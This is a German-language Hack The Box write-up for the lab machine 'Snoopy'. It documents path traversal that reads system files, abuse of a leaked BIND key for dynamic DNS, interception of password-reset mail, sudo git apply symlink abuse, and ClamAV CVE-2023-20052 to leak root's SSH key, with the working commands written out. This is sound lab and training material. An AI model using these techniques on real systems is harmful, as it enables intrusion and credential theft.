← Zurück zu Machines

HTB · published

Snoopy

Hack The Box CPTS-Track Writeup für Snoopy: Web File Disclosure, BIND Dynamic DNS Abuse, Mattermost Password Reset Interception, SSH Foothold, sudo git apply Symlink Abuse und ClamAV CVE-2023-20052 zu root.

HTBCPTSWriteupLinuxDNSMattermostLFISSHsudoClamAVMachine

Metadaten


  • Name: Snoopy
  • IP Address: 10.129.229.5
  • Plattform: Linux
  • Kategorie: Web / DNS / Mattermost / SSH / sudo / CVE
  • Schwierigkeit: Medium
  • Ziel(e): User, Root
  • Kurzbeschreibung des Szenarios: Snoopy ist eine Linux-Machine mit SSH, BIND DNS, nginx und Mattermost. Die Angriffskette nutzt eine File-Disclosure im Web, dynamische DNS-Updates mit geleaktem BIND-Key, abgefangene Mattermost-Reset-Mails, SSH-Credential-Reuse, eingeschränkte sudo-Regeln für git apply und final ClamAV CVE-2023-20052 zur Root-Datei-Exfiltration.

Reconnaissance/ Enumeration

initscan:

nmap -p- --min-rate 5000 -Pn -oA scans/full_tcp 10.129.229.5
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

servicescan:

nmap -sCV -O -p22,53,80 -Pn -oA scans/tcp_services 10.129.229.5
22/tcp  OpenSSH 8.9p1 Ubuntu
53/tcp  ISC BIND 9.18.12
80/tcp  nginx 1.18.0

Die Website zeigte snoopy.htb und einen Download-Endpunkt:

http://snoopy.htb/download
http://snoopy.htb/download?file=announcement.pdf

DNS-Zonentransfer war möglich:

dig @10.129.229.5 snoopy.htb axfr

Wichtige Records:

mm.snoopy.htb          -> 127.0.0.1
mattermost.snoopy.htb  -> 172.18.0.3
postgres.snoopy.htb    -> 172.18.0.2
provisions.snoopy.htb  -> 172.18.0.4

mm.snoopy.htb führte zu Mattermost 7.9.0.


Exploitation (Foothold)

Der Download-Endpunkt filterte ../ unsauber. Mit ....// ließ sich der Filter umgehen. Die Dateien wurden als ZIP zurückgegeben.

curl 'http://snoopy.htb/download?file=....//....//....//....//etc/passwd'

Interessant war besonders die BIND-Konfiguration:

curl 'http://snoopy.htb/download?file=....//....//....//....//etc/bind/named.conf'

Darin lag ein Dynamic-DNS-Update-Key:

key "rndc-key" {
    algorithm hmac-sha256;
    secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};

Mit nsupdate wurde mail.snoopy.htb auf die eigene VPN-IP gesetzt:

nsupdate -k loot/rndc.key recon/nsupdate_mail.txt

Ein lokaler SMTP-Listener fing anschließend Mattermost-Passwort-Reset-Mails ab. Dadurch konnten Reset-Tokens für lokale Benutzer abgegriffen und Accounts übernommen werden.

Zurückgesetzte Mattermost-Accounts:

lpelt
cbrown

In Mattermost wurde ein server_provision-Workflow sichtbar, der SSH-Credential-Reuse offenbarte:

cbrown : sn00pedcr3dential!!!

SSH-Foothold:

ssh cbrown@10.129.229.5

Lateral Movement / User Escalation

cbrown hatte eine eingeschränkte sudo-Regel für git apply als sbrown:

(sbrown) PASSWD: /usr/bin/git ^apply -v [a-zA-Z0-9.]+$

Der Trick war, git apply nicht als einfachen Patch-Parser zu betrachten, sondern als Werkzeug, das Dateisystemänderungen ausführen kann. Über eine Patch-Kette wurde ein Symlink auf /home/sbrown/.ssh umbenannt und anschließend durch diesen Symlink eine authorized_keys geschrieben.

Vereinfacht:

sudo -u sbrown /usr/bin/git apply -v diff

Danach war SSH als sbrown mit dem eigenen Key möglich:

ssh -i loot/id_ed25519_snoopy sbrown@10.129.229.5

User Flag:

cat /home/sbrown/user.txt
ec433[REDACTED-USER-FLAG]d36b

Privilege Escalation (Root / Domain)

sbrown hatte passwordless sudo für ClamAV:

(root) NOPASSWD: /usr/local/bin/clamscan ^--debug /home/sbrown/scanfiles/[a-zA-Z0-9.]+$

Die installierte ClamAV-Version 1.0.0 war anfällig für CVE-2023-20052. Dabei kann ein präpariertes DMG über XML External Entity Verarbeitung root-lesbare Dateien in der Debug-Ausgabe leaken.

Payload-Ziele:

/root/root.txt
/root/.ssh/id_rsa

Ausführung:

sudo /usr/local/bin/clamscan --debug /home/sbrown/scanfiles/rootkey.dmg

Die Debug-Ausgabe enthielt den Root-SSH-Key. Nach dem Speichern als loot/root_id_rsa:

chmod 600 loot/root_id_rsa
ssh -i loot/root_id_rsa root@10.129.229.5

Root Flag:

cat /root/root.txt
d8f51[REDACTED-ROOT-FLAG]a0e4

Post-Exploitation

  • User Flag: ec433[REDACTED-USER-FLAG]d36b
  • Root Flag: d8f51[REDACTED-ROOT-FLAG]a0e4
  • Wichtige Accounts: lpelt, cbrown, sbrown, root
  • Wichtige Artefakte: rndc.key, Mattermost Reset Tokens, id_ed25519_snoopy, root_id_rsa
  • Wichtige Technik: LFI/Path Traversal, Dynamic DNS Abuse, SMTP Capture, sudo git apply Abuse, ClamAV DMG XXE
  • Cleanup: DNS-Record mail.snoopy.htb zurücksetzen/entfernen und lokale Captures/Keys schützen.

Lessons Learned

  • Web-LFI kann Infrastruktur kippen: Eine simple Download-Schwachstelle wurde kritisch, weil sie DNS-Control-Material leakte.
  • DNS ist ein Angriffsvektor: Dynamische DNS-Updates können Reset-Flows und Mail-Routing kontrollierbar machen.
  • Sudo-Regeln genau lesen: Auch scheinbar enge Allow-Lists für Developer-Tools können über Dateisystemeffekte ausgenutzt werden.
  • Debug-Ausgabe ist Datenabfluss: Privilegierte Tools mit --debug können bei Parser-Bugs root-lesbare Inhalte offenlegen.

Notizen

  • cbrown war nicht direkt User-Flag, sondern der notwendige Pivot zu sbrown.
  • Mattermost lieferte weniger “Credentials im Klartext”, sondern Kontext für den Provisioning-Prozess.
  • Die Root-Flag hätte direkt per ClamAV geleakt werden können; Root-SSH war die sauberere Proof-Kette.